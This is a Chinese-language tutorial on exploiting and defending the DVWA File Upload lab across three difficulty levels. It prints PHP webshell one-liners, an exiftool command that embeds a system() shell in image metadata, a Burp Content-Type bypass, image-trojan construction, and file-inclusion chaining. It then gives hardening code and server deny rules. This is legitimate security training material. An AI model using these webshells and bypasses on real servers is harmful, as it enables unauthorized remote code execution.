1. 项目概述:为什么DVWA的File Upload是Web安全入门的必修课?
如果你刚开始接触Web安全,或者想找一个能让你把“文件上传漏洞”从理论到实战都摸透的靶场,那DVWA(Damn Vulnerable Web Application)的File Upload模块绝对是你的不二之选。我当年入门渗透测试,就是从这个靶场开始,一步步看着一个简单的上传表单,如何演变成攻防双方斗智斗勇的战场。这个模块之所以经典,是因为它用三个难度等级(Low, Medium, High),几乎完美复现了现实中开发人员在不同安全意识水平下可能犯的典型错误,以及攻击者如何利用这些错误。
简单来说,文件上传漏洞的核心在于:一个允许用户上传文件的Web应用,如果没有对上传的文件进行充分、严格的校验,攻击者就可能上传一个恶意文件(比如一个Webshell脚本),并让服务器执行它,从而获得对服务器的控制权。DVWA的File Upload模块,就是让你亲手去触发、绕过这些校验机制,直观地理解“哪里出了问题”以及“如何防御”。
对于新手,它能帮你建立最基础的漏洞利用思维;对于有一定经验的安全从业者,它则是梳理和验证各种绕过技巧的绝佳沙盒。更重要的是,通过攻击它,你会深刻理解防御方应该在哪里筑起防线。接下来,我们就从最基础的Low级别开始,一步步拆解这个漏洞的攻防两面。
2. 环境搭建与靶场设置:你的第一个安全实验室
在开始“搞破坏”之前,我们得先有个安全的实验环境。直接在生产服务器上测试是绝对禁止的,这也是DVWA这类靶场存在的意义——它本身就是一个故意设计得漏洞百出的Web应用,让你在本地或隔离环境中安全地学习。
2.1 DVWA的部署与配置要点
DVWA通常以PHP应用的形式存在,最方便的部署方式是使用集成了Apache、MySQL、PHP的环境,比如XAMPP、PHPStudy,或者直接使用预装了DVWA的虚拟机镜像(如Metasploitable、Web Security Dojo)。这里以在本地Windows上使用PHPStudy快速搭建为例,分享几个关键步骤和避坑点:
- 下载与放置:从DVWA官网(
github.com/digininja/DVWA)下载最新源码。解压后,将整个DVWA-master文件夹重命名为dvwa,然后复制到PHPStudy的WWW根目录下(例如D:\phpstudy_pro\WWW\)。 - 配置文件修改:找到
dvwa/config目录,将config.inc.php.dist文件复制一份,重命名为config.inc.php。用编辑器打开这个新文件,找到数据库配置部分:
确保数据库密码与你本地MySQL的root密码一致。PHPStudy的MySQL默认密码可能是$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'p@ssw0rd'; // 修改为你的MySQL root密码root,也可能为空,根据你的实际情况修改。 - 数据库初始化:在浏览器中访问
http://127.0.0.1/dvwa/setup.php。这个页面会检查你的PHP环境配置,并提供一个“Create / Reset Database”按钮。点击它,DVWA会自动创建所需的数据库和表。这里常遇到的一个坑是:如果点击后报错,提示无法连接数据库,多半是config.inc.php中的密码不对,或者MySQL服务没有启动。务必先去PHPStudy的控制面板确认MySQL服务是运行状态。 - 登录与难度设置:数据库创建成功后,使用默认账号
admin和密码password登录。登录后,在左侧导航栏找到“DVWA Security”页面,在这里你可以设置整个应用的漏洞难度级别。务必将其设置为“Low”,我们才能开始最基础的漏洞利用。
注意:强烈建议将DVWA部署在虚拟机(如VMware或VirtualBox)中,并将虚拟机网络设置为“仅主机(Host-Only)”或“NAT”模式,确保它与你的物理主机隔离。永远不要在能直接访问公网的服务器上部署未加防护的DVWA。
2.2 必备工具准备:攻击者的“武器库”
工欲善其事,必先利其器。针对文件上传漏洞的测试,除了浏览器,我们还需要一些专业工具:
- Burp Suite:这是Web安全测试的“瑞士军刀”。我们主要用到它的代理(Proxy)和重放(Repeater)功能。通过配置浏览器代理(如
127.0.0.1:8080)到Burp,我们可以拦截、查看和修改浏览器发送的所有HTTP/HTTPS请求,这对于修改上传请求的数据包(如文件名、Content-Type)至关重要。 - 中国菜刀/Cknife 或 AntSword(蚁剑):这是连接我们上传的Webshell的管理工具。当成功上传一个一句话木马(如
<?php @eval($_POST['cmd']);?>)后,我们需要用这类工具向这个木马发送指令,从而在服务器上执行命令。我个人更推荐AntSword(蚁剑),它开源、跨平台、功能强大且插件丰富,是当前的主流选择。 - 文本编辑器(Notepad++或VS Code):用于快速编写和修改我们的Webshell代码。有时我们需要制作图片木马,也需要用它来编辑文件。
- HackBar浏览器插件(可选):对于简单的测试,HackBar可以方便地在浏览器中构造POST请求,但功能远不如Burp强大,适合快速验证。
准备好这些,我们的“安全实验室”和“武器库”就齐备了。接下来,让我们进入正题,从最简单的Low级别开始实战。
3. Low级别漏洞利用:毫无防备的上传点
将DVWA安全级别设置为Low后,访问“File Upload”页面。你会看到一个极其简单的文件上传表单。Low级别的代码通常长这样(简化版逻辑):
if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>"; } }3.1 漏洞原理深度解析
这段代码的“漏洞”简直一目了然:
- 没有文件类型检查:代码完全没有检查
$_FILES['uploaded']['type'](MIME类型)或文件扩展名。 - 没有内容检查:代码没有使用
getimagesize()等函数验证文件内容是否真的是图片。 - 没有重命名:它直接使用用户上传时的原始文件名(
basename( $_FILES[ 'uploaded' ][ 'name' ] ))保存文件。这意味着如果用户上传了一个名为shell.php的文件,它就会以shell.php的名字被保存在服务器上。 - 路径可预测:上传路径是固定的
hackable/uploads/,攻击者可以轻松定位到上传的文件。
这相当于你家大门不仅没锁,门上还贴了个纸条写着“贵重物品放在客厅第二个抽屉”。攻击者可以大摇大摆地走进来,放一个遥控炸弹(Webshell),并且知道炸弹具体放在哪里。
3.2 实战攻击步骤与验证
- 制作Webshell:用文本编辑器创建一个新文件,输入最经典的一句话木马代码:
<?php @eval($_POST['pass']);?>,然后保存为shell.php。这行代码的意思是,通过POST参数pass接收我们发送的PHP代码并执行。 - 直接上传:在DVWA的Low级别上传页面,选择这个
shell.php文件,点击“Upload”。你会看到上传成功的提示,并显示文件路径,例如.../hackable/uploads/shell.php。 - 连接Webshell:打开AntSword(蚁剑),右键“添加数据”。在URL地址中填入你上传文件的完整访问路径,如
http://127.0.0.1/dvwa/hackable/uploads/shell.php。在连接密码中填入我们木马里设定的pass。其他设置保持默认,点击“添加”。 - 获取服务器权限:在AntSword左侧列表中新添加的服务器上双击,如果一切顺利,你会成功连接到服务器。现在你可以在AntSword的虚拟终端里执行命令了,比如输入
whoami查看当前Web服务运行的用户身份,输入ls -la查看目录文件。至此,你已经成功“攻陷”了这台服务器(的Web服务权限)。
这个过程简单到令人发指,但它清晰地展示了文件上传漏洞最根本的危害:服务器执行了用户可控的代码。在现实中,这种毫无防护的上传功能可能出现在早期的网站、内部测试系统或开发者疏忽的情况下。
4. Medium级别绕过:与前端校验和MIME类型检查的博弈
将DVWA安全级别调至Medium,再次尝试上传shell.php。你会发现上传失败了,页面提示文件类型不正确。我们查看一下Medium级别的后端代码(关键部分):
if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && $uploaded_size < 100000 ) { // 通过检查,保存文件 if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }4.1 防御机制分析:它到底检查了什么?
Medium级别引入了两个简单的检查:
- MIME类型检查:代码检查
$_FILES['uploaded']['type'](即Content-Type)是否等于image/jpeg或image/png。这个值是由浏览器根据文件扩展名生成的,但它完全在客户端可控。 - 文件大小限制:检查文件大小是否小于100KB(100000字节),这是一个基本的防护,防止上传过大的恶意文件造成拒绝服务,但对绕过上传本身影响不大。
关键点:它仍然没有检查文件的实际内容,也没有对文件扩展名做严格的后端校验。它只相信浏览器告诉它的“文件类型”。这是一个非常典型的“信任客户端”的错误安全观念。
4.2 两种核心绕过手法实战
既然服务器只信Content-Type,那我们就改掉它。
方法一:使用Burp Suite拦截修改(推荐,最接近真实攻击)
- 配置代理:确保浏览器已配置代理指向Burp Suite(
127.0.0.1:8080),并且Burp的“Intercept is on”是开启状态。 - 上传可执行文件:在DVWA页面,选择一个非图片文件,比如我们之前的
shell.php,点击Upload。此时请求会被Burp拦截。 - 修改数据包:在Burp的Proxy -> Intercept标签页,你会看到被拦截的HTTP POST请求。找到请求体(body)中描述文件的部分,通常如下所示:
将-----------------------------1234567890 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: application/octet-streamContent-Type: application/octet-stream修改为Content-Type: image/jpeg。 - 放行请求:点击“Forward”放行被修改的请求。回到浏览器,你会发现原本应该失败的
shell.php文件,现在显示上传成功了!因为服务器收到的Content-Type是image/jpeg,满足了它的检查条件。
方法二:制作图片木马进行“二重奏”攻击
这种方法更隐蔽,它上传的是一个真正的图片文件,但其中嵌入了PHP代码。服务器检查时,它确实是一个有效的图片,能通过内容检查(如果以后有的话),但我们可以利用文件包含漏洞(另一个常见漏洞)来执行其中的代码。这里我们先演示如何制作:
- 准备图片和木马:找一个正常的
jpg图片(如test.jpg)和我们的shell.php。 - 合成图片木马:在命令行(Windows的cmd或Linux的终端)中,使用
copy命令进行二进制合并:
这行命令会将copy /b test.jpg + shell.php muma.jpgshell.php的代码追加到test.jpg的二进制内容之后,生成一个新文件muma.jpg。用图片查看器打开muma.jpg,它依然显示为一张正常图片,因为图片查看器会忽略文件末尾的非图片数据。 - 尝试上传:在Medium级别直接上传
muma.jpg。由于它的文件扩展名是.jpg,浏览器通常会将其Content-Type设置为image/jpeg,因此能顺利通过服务器的检查。 - 后续利用:此时上传的文件是
muma.jpg,服务器不会直接把它当作PHP执行。我们需要结合“文件包含漏洞”(LFI/RFI),让服务器以PHP的方式去解析这个“图片”文件。例如,如果存在一个漏洞URL:http://target.com/index.php?page=uploads/muma.jpg,且page参数的内容被直接包含并执行,那么图片末尾的PHP代码就会被执行。这属于组合漏洞利用,在DVWA的File Inclusion模块可以练习。
实操心得:Medium级别的绕过非常简单,但它揭示了一个重要原则:所有客户端传来的数据都是不可信的,包括HTTP头。真正的防御必须在服务器端进行。另外,制作图片木马是实战中非常常用的手法,特别是当目标服务器对文件内容有初步检查时。
5. High级别攻防:深入服务器端校验与高级绕过
High级别是DVWA File Upload的终极挑战。它的代码变得更加严格:
if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // 通过检查,保存文件 if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { echo '<pre>Your image was not uploaded.</pre>'; } }5.1 防御机制深度拆解
High级别的检查堪称一个“组合拳”:
- 白名单扩展名校验:代码提取文件后缀名(
$uploaded_ext),并检查它是否在jpg,jpeg,png这个白名单中。这是比黑名单(禁止某些后缀)安全得多的方式。 - 文件大小限制:同Medium。
- 真正的图片内容验证:使用
getimagesize()函数检查上传的临时文件($uploaded_tmp)。这个函数会读取文件的二进制头,判断其是否是有效的图片格式。如果文件不是有效的图片,函数返回false,上传失败。这一招非常有效,它直接否定了仅修改文件名或Content-Type的绕过方法。
至此,直接上传一个.php文件,或者一个内容非图片的.jpg文件,都会被拦截。防御似乎很完美了?并非无懈可击。
5.2 高级绕过技巧:利用服务器特性与逻辑缺陷
面对High级别的防御,我们需要更精巧的攻击思路。核心在于:上传一个“合法”的图片文件,但让服务器以PHP的方式来执行它。主要有两种经典思路:
思路一:利用解析漏洞(配合特定服务器环境)
解析漏洞不是DVWA代码本身的漏洞,而是Web服务器(如Apache、Nginx、IIS)在解析文件时的特性缺陷。例如:
- Apache的解析漏洞:古老版本的Apache在解析文件时,如果遇到不认识的后缀,会从右向左尝试解析。例如,文件名为
shell.php.xxx,Apache可能因为不认识.xxx而继续向左寻找,最终将其解析为shell.php。但在DVWA的High级别中,.xxx不在白名单,第一步就过不去。一个变种是shell.php.jpg,这需要Apache的mod_rewrite或特定配置错误,实战中已较少见。 - IIS 6.0的解析漏洞:这是经典漏洞。IIS 6.0在解析类似
shell.asp;.jpg这样的文件名时,会将其中的分号;当作截断符,最终将文件当作shell.asp来执行。同样,这需要服务器环境是IIS 6.0。
在标准的DVWA High级别环境中,这些解析漏洞通常无法直接利用,因为代码的白名单校验(.php不在名单内)发生在文件保存之前。但了解这些漏洞对于全面认识文件上传风险至关重要。
思路二:制作“真图片+真木马”的复合文件(最实用的绕过)
这是绕过getimagesize()检查最可靠的方法。我们不仅要让文件内容通过图片校验,还要确保其中的PHP代码能被以某种方式执行。这通常需要另一个漏洞配合,比如我们之前提到的文件包含漏洞。
实战步骤:
- 制作包含木马的图片:使用之前
copy /b的方法,将一个正常的jpg图片和一个一句话木马shell.php合并,生成shell.jpg。用图片查看器打开,确认图片正常显示。 - 上传图片木马:在High级别上传
shell.jpg。此时,文件扩展名.jpg在白名单内,getimagesize()检查其文件头,确认是有效图片,因此上传成功。 - 利用文件包含漏洞执行:仅仅上传成功还不够,服务器不会主动执行
.jpg里的PHP代码。我们需要诱导服务器去“包含”这个图片文件。如果目标网站存在本地文件包含漏洞(LFI),例如有一个URL参数?page=../../uploads/shell.jpg,并且该参数值被直接放入include()或require()函数中,那么服务器在包含这个“图片”时,就会执行文件末尾的PHP代码。在DVWA中,你可以将安全级别调至Low/Medium,然后去“File Inclusion”模块测试这个组合攻击。
思路三:条件竞争攻击(Race Condition)
这是一种利用服务器“检查”和“保存”两个动作之间存在微小时间差的攻击。逻辑是:
- 服务器先检查文件(扩展名、内容等)。
- 检查通过后,服务器将文件从临时位置移动到最终目录。 如果攻击者能在这个“检查后,移动前”的极短时间窗口内,快速访问这个文件,就可能执行其中的恶意代码。实现它需要编写脚本高速并发地上传和访问。在DVWA的High级别中,由于其代码逻辑紧凑,时间窗口极短,成功利用难度很高,但它是Web安全中一个重要的攻击思路。
注意事项:High级别的绕过通常不是单一的,而是组合拳。它考验的是攻击者的综合渗透能力:信息收集(了解服务器类型、中间件版本)、漏洞关联(结合文件上传与文件包含、目录遍历等漏洞)。防御方同样需要建立纵深防御体系,不能只依赖单点校验。
6. 从攻击到防御:构建文件上传的坚固防线
通过攻击DVWA的三个级别,我们反向推导出了一个健壮的文件上传功能应该如何设计。防御不是简单地堆砌检查,而是一个多层次、纵深的安全体系。
6.1 防御策略全景图
一个安全的文件上传处理流程应该包含以下环节,缺一不可:
- 前端校验(可选,仅用于用户体验):使用JavaScript对文件扩展名、大小进行初步检查。必须清醒认识到,此校验可被完全绕过,绝不能作为安全依赖。
- 后端白名单校验(第一道铁闸):在服务器端,对文件扩展名进行白名单校验。只允许业务必需的类型,如
['jpg', 'jpeg', 'png', 'gif']。绝对禁止使用黑名单。 - MIME类型校验(辅助手段):检查
$_FILES['file']['type'],但应结合内容检查,因为该值可被篡改。 - 文件内容头校验(核心手段):使用
getimagesize()(针对图片)、exif_imagetype()或读取文件二进制头的方式,验证文件的实际格式是否与扩展名声称的一致。这是防止图片木马的关键。 - 文件重命名(消除用户控制):上传后,使用随机生成的文件名(如UUID、MD5(时间戳+随机数))替换原始文件名,并保留正确的白名单内扩展名。例如,
用户上传的“可爱小猫.jpg”-> 保存为a3f8e7c1b9d2.jpg。这能有效防止路径遍历、覆盖已知文件等攻击。 - 设置隔离的存储目录:上传的文件应保存在Web根目录以外的路径,或者配置该目录禁止脚本执行。例如,通过Nginx/Apache配置,使
uploads/目录下的所有文件都被当作静态资源处理,即使里面有PHP代码也不会被执行。- Nginx配置示例:
location ~ ^/uploads/.*\.(php|php5|jsp|asp)$ { deny all; } - Apache配置示例(在
.htaccess或虚拟主机配置中):<FilesMatch "\.(php|php5|jsp|asp)$"> Order Allow,Deny Deny from all </FilesMatch>
- Nginx配置示例:
- 限制文件大小:在服务器端(如PHP的
php.ini中的upload_max_filesize和post_max_size)和应用逻辑中双重限制,防止拒绝服务攻击。 - 病毒/恶意代码扫描:对于重要系统,可以在服务器端集成杀毒软件引擎(如ClamAV)对上传文件进行扫描。
- 日志与监控:详细记录所有上传操作(IP、时间、文件名、文件哈希、用户ID等),并设置异常上传(如频率过高、文件类型异常)的告警机制。
6.2 安全代码示例与解析
下面是一个相对安全的PHP文件上传处理函数示例,它融合了上述多个防御点:
function safe_upload($file_input_name, $allowed_exts = ['jpg', 'jpeg', 'png', 'gif'], $max_size = 1048576) { // 1. 检查上传过程是否出错 if ($_FILES[$file_input_name]['error'] !== UPLOAD_ERR_OK) { return ['success' => false, 'msg' => '文件上传过程出错']; } $tmp_path = $_FILES[$file_input_name]['tmp_name']; $original_name = $_FILES[$file_input_name]['name']; // 2. 检查文件大小 if ($_FILES[$file_input_name]['size'] > $max_size) { return ['success' => false, 'msg' => '文件大小超过限制']; } // 3. 获取并校验扩展名(白名单) $ext = strtolower(pathinfo($original_name, PATHINFO_EXTENSION)); if (!in_array($ext, $allowed_exts)) { return ['success' => false, 'msg' => '不支持的文件类型']; } // 4. 校验文件内容(以图片为例) $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $tmp_path); finfo_close($finfo); $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif']; if (!in_array($mime_type, $allowed_mimes)) { return ['success' => false, 'msg' => '文件内容类型不合法']; } // 5. 二次内容校验(针对图片) if (strpos($mime_type, 'image/') === 0) { $image_info = @getimagesize($tmp_path); if ($image_info === false) { return ['success' => false, 'msg' => '上传的不是有效图片']; } // 可选:更严格的图片内容检查,防止WebP等格式的恶意构造 } // 6. 生成安全的存储文件名和路径 $safe_filename = md5(uniqid() . microtime(true)) . '.' . $ext; // 随机文件名 $upload_dir = '/var/www/html/static/uploads/'; // Web根目录外的路径 if (!is_dir($upload_dir)) { mkdir($upload_dir, 0755, true); } $destination = $upload_dir . $safe_filename; // 7. 移动文件 if (move_uploaded_file($tmp_path, $destination)) { // 8. 返回可供Web访问的静态URL,而非服务器路径 $public_url = '/static/uploads/' . $safe_filename; return ['success' => true, 'url' => $public_url, 'saved_name' => $safe_filename]; } else { return ['success' => false, 'msg' => '文件保存失败']; } }代码关键点解析:
finfo_file:基于文件内容而非扩展名或HTTP头来检测MIME类型,比$_FILES['type']可靠得多。getimagesize:二次验证,确保的确是有效的图片文件。md5(uniqid() . microtime(true)):生成高熵值的随机文件名,避免被猜测。/var/www/html/static/uploads/:示例中假设配置了Nginx/Apache,将/static/路径映射到Web根目录外的这个物理目录,并禁止该目录执行脚本。
7. 实战中常见问题与排查技巧实录
即使理解了原理,在实际操作DVWA或真实测试中,你依然会遇到各种“坑”。这里记录一些我踩过的坑和解决思路。
7.1 上传成功但无法连接Webshell
- 问题现象:在Low级别上传
shell.php成功,但用AntSword连接时返回404错误或连接失败。 - 排查思路:
- 确认文件路径:仔细查看DVWA上传成功时提示的完整路径。DVWA的路径可能包含相对路径,在浏览器中直接访问这个完整URL(如
http://127.0.0.1/dvwa/hackable/uploads/shell.php),看是否能访问到。如果404,可能是路径不对。 - 检查文件权限:在服务器上(如果是Linux虚拟机),使用命令
ls -la hackable/uploads/查看上传目录和文件的权限。确保Web服务器用户(如www-data或apache)有读取和执行(对于PHP文件)该目录的权限。通常需要755权限。 - 检查PHP执行权限:确认
uploads目录没有通过.htaccess或服务器配置禁止执行PHP。在DVWA的默认设置里,这个目录通常是允许执行脚本的,但一些自定义环境可能做了限制。 - 检查Webshell代码:用浏览器访问你的Webshell文件,如果直接显示PHP代码而不是空白页,说明服务器没有解析PHP。这可能是服务器没有安装PHP,或者该文件没有被当作PHP处理。确保文件扩展名是
.php且服务器配置正确。 - 检查AntSword配置:确认URL和连接密码完全正确。密码是Webshell中
$_POST['xxx']的xxx部分,必须匹配。
- 确认文件路径:仔细查看DVWA上传成功时提示的完整路径。DVWA的路径可能包含相对路径,在浏览器中直接访问这个完整URL(如
7.2 Burp Suite拦截不到上传请求
- 问题现象:浏览器配置了代理,但上传文件时Burp没有任何拦截记录。
- 排查思路:
- 确认代理状态:检查Burp Suite的Proxy -> Intercept标签页,确保“Intercept is on”按钮是红色激活状态。
- 检查浏览器代理:确认浏览器代理设置正确指向了
127.0.0.1:8080。推荐使用Firefox并安装FoxyProxy插件来方便地切换代理。 - 检查HTTPS:如果目标网站是HTTPS,需要先在浏览器中访问
http://burp,下载并安装Burp的CA证书,否则Burp无法解密HTTPS流量。 - 检查过滤规则:Burp的Proxy -> Options里可能有作用域(Scope)或过滤规则,确保没有把目标地址排除在外。
7.3 图片木马制作后无法正常显示图片
- 问题现象:使用
copy /b制作的图片木马,上传后图片无法预览或显示损坏。 - 排查思路:
- 源图片问题:确保用于合成的源图片本身是完好无损的。
- 合成命令:在Windows下,
copy /b命令的参数顺序是图片 + 木马 = 输出。顺序反了可能会导致图片头信息损坏。可以尝试换一张简单的图片(如小尺寸的JPG)重试。 - 木马代码格式:确保你的PHP木马代码是纯文本,且以
<?php ... ?>包裹,没有多余的BOM头或换行符问题。可以使用Notepad++将文件编码转换为UTF-8 无 BOM格式。 - 使用专业工具:可以尝试使用
ExifTool等工具,将PHP代码写入图片的EXIF元数据中,这种方式更隐蔽,对图片显示影响更小。命令如:exiftool -Comment='<?php system($_GET["c"]); ?>' image.jpg。
7.4 在High级别绕过时思路枯竭
- 问题分析:High级别的白名单+
getimagesize()检查非常严格,直接上传非图片或非白名单扩展名文件几乎不可能。 - 拓展思路:
- 关注“重命名”逻辑:仔细阅读High级别代码,它虽然检查严格,但保存时依然使用了原始文件名(
basename( $_FILES[ 'uploaded' ][ 'name' ] ))。如果存在其他漏洞能让你控制最终保存的文件名(比如通过00截断,但要求PHP版本<5.3.4且magic_quotes_gpc=off,现代环境极少见),或许有机会。但在标准DVWA High级别中,此路不通。 - 转向组合漏洞:这是最现实的路径。将High级别的File Upload与DVWA其他模块的漏洞结合。例如:
- File Inclusion + 图片木马:这是最经典的组合。先在High级别上传图片木马
shell.jpg,再在Low/Medium级别的File Inclusion模块,通过包含../../hackable/uploads/shell.jpg来执行代码。 - SQL注入 + 文件上传:如果存在SQL注入,能否通过注入点向服务器写入一个Webshell文件?(需有
FILE权限且知道绝对路径,难度高)。 - 命令注入 + 文件上传:如果存在命令注入,能否直接执行
wget或curl命令从远程下载一个Webshell到服务器?
- File Inclusion + 图片木马:这是最经典的组合。先在High级别上传图片木马
- 信息收集:尝试通过其他途径(如目录遍历、错误信息)获取服务器配置、中间件版本,寻找潜在的解析漏洞。虽然DVWA环境标准,但真实测试中这一步至关重要。
- 关注“重命名”逻辑:仔细阅读High级别代码,它虽然检查严格,但保存时依然使用了原始文件名(
文件上传漏洞的攻防是一场持续的动态博弈。DVWA的这三个级别为我们提供了一个完美的训练场,从“无防”到“弱防”再到“强防”,让我们不仅学会了如何攻击,更重要的是理解了每一种防御措施的原理和局限。真正的安全在于建立一套纵深、互补的防御体系,并且时刻保持“所有用户输入皆不可信”的核心原则。